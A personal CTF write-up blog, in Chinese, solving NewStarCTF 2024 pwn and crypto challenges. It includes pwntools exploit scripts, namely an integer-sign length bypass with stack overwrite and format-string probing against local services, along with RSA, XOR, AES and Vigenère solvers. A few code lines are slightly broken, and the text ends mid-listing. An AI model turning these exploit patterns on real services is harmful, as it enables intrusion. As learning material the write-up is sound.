pwn 1.overwrite(newstarctf2024w1)- 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 unsigned __int64 func() { unsigned int nbytes[13]; // [rsp+Ch] [rbp-84h] BYREF char nptr[72]; // [rsp+40h] [rbp-50h] BYREF unsigned __int64 v3; // [rsp+88h] [rbp-8h] v3 = __readfsqword(0x28u); printf("pls input the length you want to readin: "); __isoc99_scanf("%d", nbytes); if ( (int)nbytes[0] > 48 ) exit(0); printf("pls input want you want to say: "); read(0, &nbytes[1], (unsigned int)nbytes[0]);//从标准输入读取nbytes[0]字节的数据,写入nbytes[1]开始的地址。 if ( atoi(nptr) <= 114514 ) { puts("bad ,your wallet is empty"); } else { puts("oh you have the money to get flag"); getflag(); } return v3 - __readfsqword(0x28u);//金丝雀 }
这里一共要求两次输入,一次是给nbytes,一次是给nptr,只要nptr的赋值能大于114514就能获得答案
关于第一次的赋值:刚开始我的想法是输入1让nbytes的值<48就进入下一步,这么做了之后无法得到flag,所以观察到两次nbytes的数据类型不同(前一次是有符号,后一次无符号)可以意识到给nbytes赋值-1就能通过第一次检验。
整个程序是没有给nptr单独赋值的地方,所以需要利用nbytes和nptr之间的距离来给nptr赋值
追踪nbytes和nptr的地址之间的距离 nbytes和nptr之间相差了0x34个字节(52个字节),于是乎就先用52个字节的字符填充距离后给nptr赋一个大于114514的值即可。
1 2 3 4 5 6 7 8 from pwn import * p = remote('127.0.0.1', 40045) p.recvuntil(b'readin: ') p.sendline(b'-1') p.recvuntil(b'say: ') p.sendline(b'0'*52+b'114515') //经过测试其实>=48就行(因为这个平台给的复现程序和原程序有点出入,原来的地址距离是48字节) p.interactive()
2.game(newstarctf2024w1)
5s内重复输入0-10的数字,使得他们相加>999就行
这里我看了一眼官方的wp给了一个这个:
1 2 3 4 5 6 7 from pwn import * p = remote("ip", port) for i in range(112): p.sendlineafter(b': ', b'9') p.interactive()
可是我怎么也用这个连不上,唯一连上一次之后输入ls没有任何反应,然后又在不停找原因,结果没有找到。但是好在nc直接连是连上了。
随后网上查wp发现有一个很巧妙的办法,因为c语言scanf是可以通过空格的方法直接输入,所以就可以这么输入
1 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10
然后就获得/bin/sh,找到答案:
3.Real Login(newstarctf2024w1) 签到题目
输入NewStar!!!就行
4.overwrite(newstarctf2024w1) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned __int64 func() { unsigned int nbytes[13]; // [rsp+Ch] [rbp-84h] BYREF,这里是uint char nptr[72]; // [rsp+40h] [rbp-50h] BYREF unsigned __int64 v3; // [rsp+88h] [rbp-8h] v3 = __readfsqword(0x28u); printf("pls input the length you want to readin: "); __isoc99_scanf("%d", nbytes); if ( (int)nbytes[0] > 48 ) //这里又强制转换成int了 exit(0); printf("pls input want you want to say: "); read(0, &nbytes[1], nbytes[0]); if ( atoi(nptr) <= 114514 ) {puts("bad ,your wallet is empty");} else{puts("oh you have the money to get flag"); getflag();} return v3 - __readfsqword(0x28u); }
1 2 3 4 5 from pwn import * p = remote('127.0.0.1', 43825) p.sendlineafter(b': ', b'-1')//我还在想为什么这里不能用0-47的整数 p.sendafter(b': ', b'a'*0x30 + b'114515') p.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * p = remote('127.0.0.1', 43825) p.recvuntil(b'readin: ') p.sendline(b'-1')//我也不知道为什么这里用0-47的整数不行,反正-1就是为了跳过第一段的检验 p.recvuntil(b'say: ') p.sendline(b'1'*0x34+b'114515')//这是可以的 p.sendline(b'1'*0x30+b'114515')//这是可以的、把1换成a也可以 p.sendline(b'-1'*0x34+b'114515')//no p.sendline(b'a'*0x34+b'114515')//no //为什么会有0x34呢,因为用ida看到nbytes和ntpr的地址相差了0x34,所以用 p.interactive()
5.dbg(newstarctf2024w1) https://blog.csdn.net/2301_76262491/article/details/144476637 ————动态调试
通过观察伪代码发现,这是通过加密算法将s变成加密信息,之后要求我们输入和s原数据相同的字符串
通过动态调试后发现每次输出的original的s都是同一个输出,所以这个时候只用在动态调试的时候找到s原地址存的东西就行了
发现这个,然后将这个放在payload里发送
1 2 3 4 5 from pwn import * p = remote('127.0.0.1', 41235) p.recvuntil(b'data: ') p.sendline(b'\x5D\x1D\x43\x55\x53\x45\x57\x45') p.interactive()
从而获取flag
6.Ez_fmt(newstarctf2024w2) 不好意思断更了许久,今天重新再来,我们来了!
1 2 3 4 5 6 7 int __cdecl main(int argc, const char argv, const char envp) { initial(); printBanner(); vuln(); return 0; }
1 2 3 4 5 6 void initial()//setbuf是设置缓冲模式 { setbuf(stdin, 0LL);// 0LL表示NULL指针,无缓冲模式:输入会立即被处理而不暂存 setbuf(stdout, 0LL);// 输入会立即被处理而不暂存 setbuf(stderr, 0LL);// 错误信息会立即显示 }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int vuln() { int result; // eax int i; // [rsp+Ch] [rbp-44h] __int64 buf[8]; // [rsp+10h] [rbp-40h] BYREF 64位整数数组(8个元素,占 8 * 8 = 64 字节) buf[7] = __readfsqword(0x28u); memset(buf, 0, 48); //将buf前48个字节全部清零,剩余 16 字节(buf[6]~buf[7])未被清零。 result = puts("you know it's easy fmt\ntry !"); for ( i = 0; i <= 2; ++i )// { puts("data: "); read(0, buf, 0x30uLL); printf((const char *)buf); result = (unsigned int)memset(buf, 0, 0x30uLL); } return result; }
题目是fmt,查了一下:
格式化字符串(Format String,简称 “fmt”) 是 C 语言中用于控制文本输出格式的特殊字符串,通常与 _printf_ 、 _sprintf__ 等函数配合使用。它包含普通字符和格式化占位符(以 _%_ 开头),后者会被替换为对应的变量值。基本格式:printf(“格式化字符串”, 参数1, 参数2, …);_
以下是fmt漏洞的介绍:
原理介绍 - CTF Wiki
这里还有解另一道fmt题目的思路,可以借鉴一下
[2020 GeekChallange] Pwn fmt_pwn fmt0-CSDN博客
先输入AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p
printf(“%p”, a); // 输出:0x55aabbccdd(a指向的堆地址)__
printf(“%p”, &a); // 输出:0x7ffd12345678(变量a在栈上的地址)
发现第9个格式化占位符转换的不是AAAAAAA的地址
crypto(加✨代表有难度) xor算法1.xor(newstarctf2024w1) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import xor from Crypto.Util.number import bytes_to_long key = b'New_Star_CTF' flag='flag{*******************}' m1 = bytes_to_long(bytes(flag[:13], encoding='utf-8'))//取前13个字符转换为bytes m2 = flag[13:] c1 = m1 ^ bytes_to_long(key) c2 = xor(key, m2) print('c1=',c1) print('c2=',c2) ''' c1= 8091799978721254458294926060841 c2= b';:\x1c1<\x03>*\x10\x11u;' '''
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from Crypto.Util.strxor import strxor from Crypto.Util.number import bytes_to_long from Crypto.Util.number import long_to_bytes key = b'New_Star_CTF' c2= b';:\x1c1<\x03>*\x10\x11u;' m2 = strxor(key, c2)//使用 Crypto 库的 strxor,直接将m2解成文字 print(m2)//这里已经能解出来后半 key = b'New_Star_CTF' c1= 8091799978721254458294926060841 m1 = c1 ^ bytes_to_long(key) fg1 = long_to_bytes(m1) print(fg1)
flag:flag{0ops!_you_know_XOR!}
rsa算法2.一眼秒了(newstarctf2024w1) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from Crypto.Util.number import * from gmpy2 import * from serct import flag p = getPrime(512) q = getPrime(512) n = p*q m = bytes_to_long(flag) e = 65537 c = powmod(m, e, n)#加密结果 print(n) print(c) # 52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153 # 48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069
根据rsa算法解密就是m=powmod(c,d,n) d=(e,-1,φ(n))
来算私匙d,n能用大数字分解网站来算,
1 2 3 4 5 6 7 8 9 10 11 12 from Crypto.Util.number import long_to_bytes from gmpy2 import * from serct import flag n=52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153 c=48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069 #n分解得出: p=7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421 q=7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093 d = powmod(e, -1, (p-1)*(q-1)) m = powmod(c,d,n)#d是私匙 flag = long_to_bytes(m) print(flag)
rsa算法变种3.Just one and more than two(newstarctf2024w2) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from Crypto.Util.number import * flag = b'flag{?????}' m1 = bytes_to_long(flag[:len(flag)//2]) m2 = bytes_to_long(flag[len(flag)//2:]) e = 65537 p, q, r= (getPrime(512) for _ in range(3)) N=p*q*r c1 = pow(m1, e, p) c2 = pow(m2, e, N) print(f'p={p}\nq={q}\nr={r}\nc1={c1}\nc2={c2}') ''' p=11867061353246233251584761575576071264056514705066766922825303434965272105673287382545586304271607224747442087588050625742380204503331976589883604074235133 q=11873178589368883675890917699819207736397010385081364225879431054112944129299850257938753554259645705535337054802699202512825107090843889676443867510412393 r=12897499208983423232868869100223973634537663127759671894357936868650239679942565058234189535395732577137079689110541612150759420022709417457551292448732371 c1=8705739659634329013157482960027934795454950884941966136315983526808527784650002967954059125075894300750418062742140200130188545338806355927273170470295451 c2=1004454248332792626131205259568148422136121342421144637194771487691844257449866491626726822289975189661332527496380578001514976911349965774838476334431923162269315555654716024616432373992288127966016197043606785386738961886826177232627159894038652924267065612922880048963182518107479487219900530746076603182269336917003411508524223257315597473638623530380492690984112891827897831400759409394315311767776323920195436460284244090970865474530727893555217020636612445 '''
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from Cryptodome.Util.number import * //这里的Crypto要写成Cryptodome,网上说是旧的库不维护了,于是乎就用了新的库名字 p=11867061353246233251584761575576071264056514705066766922825303434965272105673287382545586304271607224747442087588050625742380204503331976589883604074235133 q=11873178589368883675890917699819207736397010385081364225879431054112944129299850257938753554259645705535337054802699202512825107090843889676443867510412393 r=12897499208983423232868869100223973634537663127759671894357936868650239679942565058234189535395732577137079689110541612150759420022709417457551292448732371 e=65537 c1=8705739659634329013157482960027934795454950884941966136315983526808527784650002967954059125075894300750418062742140200130188545338806355927273170470295451 c2=1004454248332792626131205259568148422136121342421144637194771487691844257449866491626726822289975189661332527496380578001514976911349965774838476334431923162269315555654716024616432373992288127966016197043606785386738961886826177232627159894038652924267065612922880048963182518107479487219900530746076603182269336917003411508524223257315597473638623530380492690984112891827897831400759409394315311767776323920195436460284244090970865474530727893555217020636612445 d1=pow(e,-1,p-1) //这里按道理来说两个大素数来做的话用fain,但是我看源代码那里用的是c1 = pow(m1, e, p),所以我就斗胆猜了一下结果是对的 m1=pow(c1,d1,p) N=p*q*r fain=(p-1)*(q-1)*(r-1) d2=pow(e,-1,fain) m2=pow(c2,d2,N) print(long_to_bytes(m1)+long_to_bytes(m2))
✨xor算法4. Since you konw something(24w2) hint:你见到了上周的老朋友,你只需告诉他一部分信息,他就会给你 key
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import xor #The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths from Crypto.Util.number import bytes_to_long key = ?? #extremely short FLAG = 'flag{????????}' c = bytes_to_long(xor(FLAG,key)) print("c={}".format(c)) //也可以写成f"c={c}" ''' c=218950457292639210021937048771508243745941011391746420225459726647571 '''
这里补充一下xor算法:如果a=xor(b,c),反解b那么b=xor(a,c)
我看了一下他的解题,我一开始以为key只是数字,结果不止是数字,也可以是字符
(我看了一眼大致思路,以下是按照该思路自己写的代码。)
1 2 3 4 5 6 7 from pwn import xor from Cryptodome.Util.number import * c=218950457292639210021937048771508243745941011391746420225459726647571 c1=long_to_bytes(c) m = b'flag{' //如果说这里用‘flag{’的话他会报错,因为pwntools 的 xor() 函数要求输入为字节串(bytes),但你传入的 m = 'flag{' 是 字符串(str) key = xor(c1, m) print(key)
输出:b”nsnsnL2gVcf/xKa}1MQ8z@m’aa1t”
因为原文一定是flag{开头的,所以说直接用flag{去试试key,然后因为key是两位的,所以这里就把key认为是ns
1 2 3 4 5 6 7 8 from pwn import xor from Cryptodome.Util.number import * c=218950457292639210021937048771508243745941011391746420225459726647571 c1=long_to_bytes(c) key=b'ns' flag = xor(c1, key) print(flag)
然后就得到答案了:b’flag{Y0u_kn0w_th3_X0r_b3tt3r}’
✨微型加密算法(本质是取模)5.茶里茶气w2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from Crypto.Util.number import * flag = "flag{*****}" assert len( flag ) == 25 //assert是个判断,这里就是告诉我们说flag是25个字符 a = "" for i in flag: a += hex(ord(i))[2:] //ord()是转化为Unicode整数,hex转化为16进制,2:是指去掉前两位0x l = int(a,16).bit_length() //int(a, 16):将十六进制字符串 a 转为十进制整数 //.bit_length():返回该整数的二进制表示的最小位数(不含前导零) print("l =" , l ) //所以目前为止a是16进制拼接数,l是长度 v0 = int(a,16)>>(l//2) // “//”是除完去小数,>>是16进制向右移7位,等价于int(a,16)//(2^(l//2)) v1 = int(a,16)-(v0<<(l//2)) //v0<<(l//2)等价于v0*(2^(l//2)) p = getPrime(l//2+10) v2 = 0 derta = 462861781278454071588539315363 v3 = 489552116384728571199414424951 v4 = 469728069391226765421086670817 v5 = 564098252372959621721124077407 v6 = 335640247620454039831329381071 assert v1 < p and v0 < p and derta < p and v3 < p and v4 < p and v5 < p and v6 < p for i in range(32): v1 += (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) ; v1 %= p // %是取余 v0 += (v1+v2) ^ ( 8*v1 + v5 ) ^ ( (v1>>7) + v6 ) ; v0 %= p v2 += derta ; v2 %= p print( "p =" , p ) print( "v0 =" , v0 ) print( "v1 =" , v1 ) """ l = 199 p = 446302455051275584229157195942211 v0 = 190997821330413928409069858571234 v1 = 137340509740671759939138452113480 """
这里要插入一个取模的可逆性:
也就是说:c=(a+b)%p 那么复原就可以是 a=(c-b)%p
回到这道题里面:v1 += (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) ; v1 %= p
改写一下就是:v1new=(v1+ (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) _ _) %p
如果假设A=v1,B=(v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) ,C=v1new
也就是:C=(A+B)%p
那么解法就是:A=(C-B)%p
还原回来就是:v1=(v1new- (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) )%p
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from Cryptodome.Util.number import * l = 199 p = 446302455051275584229157195942211 v0 = 190997821330413928409069858571234 v1 = 137340509740671759939138452113480 v2 = 0 derta = 462861781278454071588539315363 v3 = 489552116384728571199414424951 v4 = 469728069391226765421086670817 v5 = 564098252372959621721124077407 v6 = 335640247620454039831329381071 for i in range(32): v2 += derta ; v2 %= p for i in range(32): v2 -= derta;v2 %= p v0 -= (v1 + v2) ^ (8 * v1 + v5) ^ ((v1 >> 7) + v6);v0 %= p v1 -= (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) ; v1 %= p ita16=v1+(v0<<(l//2)) a=hex(ita16)[2:] flag="" for i in range(0,len(a),2): flag += chr(int(a[i]+a[i+1],16)) //每次读取两个,两个字符拼在一起拼成16进制,再转成10进制整数的Unicode码,再转成字符串 print(flag)
最后得到答案:flag{f14gg9_te2_1i_7ea_7}
以及他标的是简单题,但是我并不认为,因为我还是花了蛮久才看懂代码+解决题目的。
rsa算法6.这是几次方?疑惑!w2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from Crypto.Util.number import * flag = b'flag{*****}' p = getPrime(512) q = getPrime(512) n = p*q e = 65537 m = bytes_to_long(flag) c = pow(m, e, n) hint = p^e + 10086 print("c =", c) print("[n, e] =", [n, e]) print("hint =", hint) ''' c = 36513006092776816463005807690891878445084897511693065366878424579653926750135820835708001956534802873403195178517427725389634058598049226914694122804888321427912070308432512908833529417531492965615348806470164107231108504308584954154513331333004804817854315094324454847081460199485733298227480134551273155762 [n, e] = [124455847177872829086850368685666872009698526875425204001499218854100257535484730033567552600005229013042351828575037023159889870271253559515001300645102569745482135768148755333759957370341658601268473878114399708702841974488367343570414404038862892863275173656133199924484523427712604601606674219929087411261, 65537] hint = 12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531673390 '''
借助https://factordb.com/ 大数分解链接很容易解出来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from Cryptodome.Util.number import * n=124455847177872829086850368685666872009698526875425204001499218854100257535484730033567552600005229013042351828575037023159889870271253559515001300645102569745482135768148755333759957370341658601268473878114399708702841974488367343570414404038862892863275173656133199924484523427712604601606674219929087411261 e=65537 c = 36513006092776816463005807690891878445084897511693065366878424579653926750135820835708001956534802873403195178517427725389634058598049226914694122804888321427912070308432512908833529417531492965615348806470164107231108504308584954154513331333004804817854315094324454847081460199485733298227480134551273155762 hint = 12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531673390 p=9894080171409167477731048775117450997716595135307245061889351408996079284609420327696692120762586015707305237750670080746600707139163744385937564246995541 q=12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531598921 fain=(p-1)*(q-1) p=(hint-10086)(1/e) //我最开始还是用^来代表多少次方🤦♂️ 原来python的多少次方是🤦♂️ d=pow(e,-1,fain) m=long_to_bytes(pow(c,d,n)) print(m)
flag{yihuo_yuan_lai_xian_ji_suan_liang_bian_de2333}
✨✨AES算法7.不用谢喵 前置知识
高级加密标准(Advanced Encryption Standard,AES)
这里有两个AES的两种加密方式: ECB 和 CBC
1. ECB (电子密码本模式 - Electronic Codebook)
原理:
将明文分割成固定长度的块(如 64位/128位)。
每个块独立使用相同密钥加密,互不影响。
无依赖关系,支持并行加密。
缺点:相同明文块 → 相同密文块(如图片中的重复结构),易暴露数据模式(如重复文本/图像轮廓)。
示例:明文 "HELLO WORLD" 按 4 字母分组:["HELL", "O WO", "RLD"](不足需填充):
ECB 加密:HELL + 密钥 → 密文块 1O WO + 密钥 → 密文块 2RLD + 密钥 → 密文块 3 若原文有重复块(如两个"HELL"),则对应密文也重复。
2. CBC (密码分组链接模式 - Cipher Block Chaining)
原理:
块间加密结果互相关联,前一块密文影响下一块。
步骤: ① 第一块明文与 初始向量 (IV) 异或 → 加密 → 密文块1 ② 第二块明文与 密文块1 异或 → 加密 → 密文块2 ③ 后续块依次类推(依赖前一密文)。
优点:隐藏数据模式,相同明文块 → 不同密文块(如图中链式结构)。
缺点:不支持并行加密;单块错误影响后续解密。
示例:明文 ["HELL", "O WO", "RLD"] + 随机 IV(如"1234"):
CBC 加密:HELL ⊕ IV → 加密 → 密文块1O WO ⊕ 密文块1 → 加密 → 密文块2RLD ⊕ 密文块2 → 加密 → 密文块3 即使两个分组内容相同,因异或对象不同,密文也不同。
示例代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from Cryptodome.Cipher import AES from Cryptodome.Util.Padding import pad, unpad from Cryptodome.Random import get_random_bytes # 示例明文和密钥 plaintext = "SecretMessage123" # 16字节明文(AES块大小) key = get_random_bytes(16) # AES-128密钥(16字节) # ========== ECB 模式加密/解密 ========== def ecb_example(): print("\n" + "=" * 40) print("ECB 模式示例:") print("=" * 40) # 加密 cipher = AES.new(key, AES.MODE_ECB) #加密方式。输入key和模式,这里是ECB模式 padded_text = pad(plaintext.encode(), AES.block_size) #分块操作,这里的encode是因为plaintext是字符串,这里要转成字节序列,这样才好分块 #AES.block_size 表示AES加密算法的块大小,上面有写16字节 ciphertext = cipher.encrypt(padded_text) #密文 = 加密方式.加密(分块好的明文) # 解密 decipher = AES.new(key, AES.MODE_ECB) #解密方式。ECB. decrypted = unpad(decipher.decrypt(ciphertext), AES.block_size) #解密 = 合并(解密方式.解密(密文),块大小) print(f"原始明文: {plaintext}") print(f"ECB 密文: {ciphertext.hex()}") print(f"解密结果: {decrypted.decode()}") print("注意:重复加密相同内容会得到相同结果") # ========== CBC 模式加密/解密 ========== #其实会语法之后就直接能用代码解题了🤦♂️,语法和ECB类似 def cbc_example(): print("\n" + "=" * 40) print("CBC 模式示例:") print("=" * 40) # 生成随机初始化向量 (IV) iv = get_random_bytes(16) # 加密 cipher = AES.new(key, AES.MODE_CBC, iv) padded_text = pad(plaintext.encode(), AES.block_size) ciphertext = cipher.encrypt(padded_text) # 解密 decipher = AES.new(key, AES.MODE_CBC, iv) #初始化向量 decrypted = unpad(decipher.decrypt(ciphertext), AES.block_size) print(f"原始明文: {plaintext}") print(f"初始化向量: {iv.hex()}") print(f"CBC 密文: {ciphertext.hex()}") print(f"解密结果: {decrypted.decode()}") print("注意:相同内容+不同IV → 不同密文") # 执行示例 if __name__ == "__main__": ecb_example() cbc_example() # 重要提示 print("\n" + "!" * 50) print("安全说明:") print("1. ECB 模式不应用于敏感数据(相同输入→相同输出)") print("2. CBC 需使用随机且不可预测的IV") print("3. 实际使用请添加消息认证码(MAC)防止篡改") print("!" * 50)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ======================================== ECB 模式示例: ======================================== 原始明文: SecretMessage123 ECB 密文: 21f7760b8d1c574f311237dc8f19edd0bd53aadcc661a41677757fea42a1dbf5 解密结果: SecretMessage123 注意:重复加密相同内容会得到相同结果 ======================================== CBC 模式示例: ======================================== 原始明文: SecretMessage123 初始化向量: 6d6c055d25c499fcd64975c6e49c88e3 CBC 密文: 17d53a29c296391b1f39caf02db13c1e7b71d8148389b84caec180b4d82679f5 解密结果: SecretMessage123 注意:相同内容+不同IV → 不同密文 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 安全说明: 1. ECB 模式不应用于敏感数据(相同输入→相同输出) 2. CBC 需使用随机且不可预测的IV 3. 实际使用请添加消息认证码(MAC)防止篡改 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
题目代码: 好,这个时候我们再来看题目的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from Crypto.Cipher import AES from Crypto.Util.number import * import os KEY = b"fake_key_fake_ke" FLAG = "flag{fake_flag_fake_flag}" def decrypt(c): AES_ECB = AES.new(KEY, AES.MODE_ECB) decrypted = AES_ECB.decrypt(long_to_bytes(c)) return decrypted.hex() def encrypt(): iv = os.urandom(16) AES_CBC = AES.new(KEY, AES.MODE_CBC, iv) encrypted = AES_CBC.encrypt(FLAG.encode()) print('iv:',iv.hex()) return iv.hex() + encrypted.hex() c=encrypt() print('encrypt:',c) print('decrypt:',decrypt(int(c,16))) #encrypt: f2040fe3063a5b6c65f66e1d2bf47b4cddb206e4ddcf7524932d25e92d57d3468398730b59df851cbac6d65073f9e138 #什么是AES啊😭,求求你帮我解密吧,我什么都会做的!!!!!😭 ''' 什么都会做?那就去学习一下AES的工作模式吧…… 我这次就先给你解一下好了,不用谢喵 decrypt: f9899749fec184d81afecd35da430bc394686e847d72141b3a955a4f6e920e7d91cb599d92ba2a6ba51860bb5b32f23b 这对吗?哦不对不对,哦对的对的。 '''
这玩意搞了我好久好久,他那个解题我也看不懂,直到今天看了一个解析、完整问了ai和理清了一下思路才想清楚
上面的题目的思路:这个画的比较糙。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from Cryptodome.Util.number import long_to_bytes as l2b , bytes_to_long as b2l # encrypt = f2040fe3063a5b6c65f66e1d2bf47b4c ddb206e4ddcf7524932d25e92d57d346 8398730b59df851cbac6d65073f9e138 iv = 0xf2040fe3063a5b6c65f66e1d2bf47b4c c2 = 0xddb206e4ddcf7524932d25e92d57d346 c3 = 0x8398730b59df851cbac6d65073f9e138 # decrypt = f9899749fec184d81afecd35da430bc3 94686e847d72141b3a955a4f6e920e7d 91cb599d92ba2a6ba51860bb5b32f23b ivd = 0xf9899749fec184d81afecd35da430bc3 #这玩意其实就是啥也不是了 d2 = 0x94686e847d72141b3a955a4f6e920e7d d3 = 0x91cb599d92ba2a6ba51860bb5b32f23b f1 = l2b(d2^iv) f2 = l2b(c2^d3) print(f1+f2)
维吉尼亚密码8.故事新编w3 前置知识:古典密码 1.置换密码:顺序倒置,分段形成矩阵之后转置
2.代替密码:f(ai)=bi=aj,即通过固定算法将ai映射到bi,密码表由k决定
i.加法密码,如凯撒密码 ,所有字幕向后移k位(j=i+k)
ii.乘法密码,j=i·k,其中k要和密码表总数互素
iii.仿射密码,j=i·k+p,其中k要和密码表总数互素,p≠0
iv.密钥词语代替密码,类似于置换密码,是不过是先写出一个单词后再按顺序写出字母表,形成的矩阵再转置
3.多表代替密码:存在明文密文和密钥
举例:明文:ABCDEFG
密钥:0123
密文:ACEGEGI(第一个字母偏移0位,第二个字母偏移1位...第五个字母偏移0位...以此类推...)
这就是维吉尼亚密码
4.多名代替密码:每一个字母对应多个数字,每个数字对应一个字母
举例:
A
3 16 29 94 31 47 68 52
D
11 40 62 93
T
8 25 63 55 72 64 86 97 98
于是乎’DATA ‘就可以加密成40 94 8 16 也可以加密成11 3 8 29
5.代数密码:按照一定算法来进行加解密
举例:Vernam密码
对字母模2然后再xor算法,得出加密结果
明文:
D
A
1000100
1000001
密钥:
L
A
1001100
1000001
密文:
0001000
0000000
题目代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from hashlib import md5 zen1 = ''' ''' key1 = def enc1(plaintext, key): def shift_char(c, k): return chr(((ord(c) - ord('A') + (ord(k) - ord('A'))) % 26) + ord('A')) plaintext = plaintext.upper() key = key.upper() ciphertext = [] key_index = 0 for char in plaintext: if char.isalpha(): ciphertext.append(shift_char(char, key[key_index % len(key)])) key_index += 1 else: ciphertext.append(char) return ''.join(ciphertext) print('enc = \'\'\'' + enc1(zen1, key1)+'\'\'\'') flag = b'flag{'+md5(zen1.encode()).hexdigest().encode()+b'}' print(flag) #---------------------------------------------- enc = ''' TYBNBBZNT WF TYUMMK NAIB HYFZ. XFIFBKWG AM CXBMYK BVNF CNITBWBB. GVEJMX QL VXBHRJ NITV VIFXZRP. WPFXEYQ QG OWNUXZ MBTV QBEJMBKTNXL. TYSN JL JXNMMF GZUO GMLNXL. GCSLTX QL VXBHRJ NITV WYGAS. SDUHT QL PXOSAWLF KMTXTJWYANZ VWNHMA. GCWWJTT VULMG NJYO'M AIYVQOY WHPNOA NH JFRSE UAM KOEMG. NDNIHCZB IZOPLCDTTBNR JSNLM QNZBNR. MFEGLT LPHOEL BRNYS IILM LQZRFNMR. CGFXAG RPJMBKBNEG GVDYOVMW. '''
其实这道题我觉得出的不好,这道密码纯看你会不会找暴力解维吉尼亚密码的网站。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from hashlib import md5 zen1 = ''' ''' key1 = def shift_char(c, k): return chr(((ord(c) - ord('A') + (ord(k) - ord('A'))) % 26) + ord('A')) #c是原字母,k向后移动几位,%26为了超出26的数字循环回来,也就是凯撒 def enc1(plaintext, key): plaintext = plaintext.upper() key = key.upper() #两个转成大写 ciphertext = [] #密文 key_index = 0 for char in plaintext: if char.isalpha(): ciphertext.append(shift_char(char, key[key_index % len(key)])) #append函数是在列表最后插入,key_index % len(key)确定了key能循环用,key[]代表第n-1个 key_index += 1 else: ciphertext.append(char) return ''.join(ciphertext) print('enc = \'\'\'' + enc1(zen1, key1)+'\'\'\'') flag = b'flag{'+md5(zen1.encode()).hexdigest().encode()+b'}' print(flag) #---------------------------------------------- enc = ''' TYBNBBZNT WF TYUMMK NAIB HYFZ. XFIFBKWG AM CXBMYK BVNF CNITBWBB. GVEJMX QL VXBHRJ NITV VIFXZRP. WPFXEYQ QG OWNUXZ MBTV QBEJMBKTNXL. TYSN JL JXNMMF GZUO GMLNXL. GCSLTX QL VXBHRJ NITV WYGAS. SDUHT QL PXOSAWLF KMTXTJWYANZ 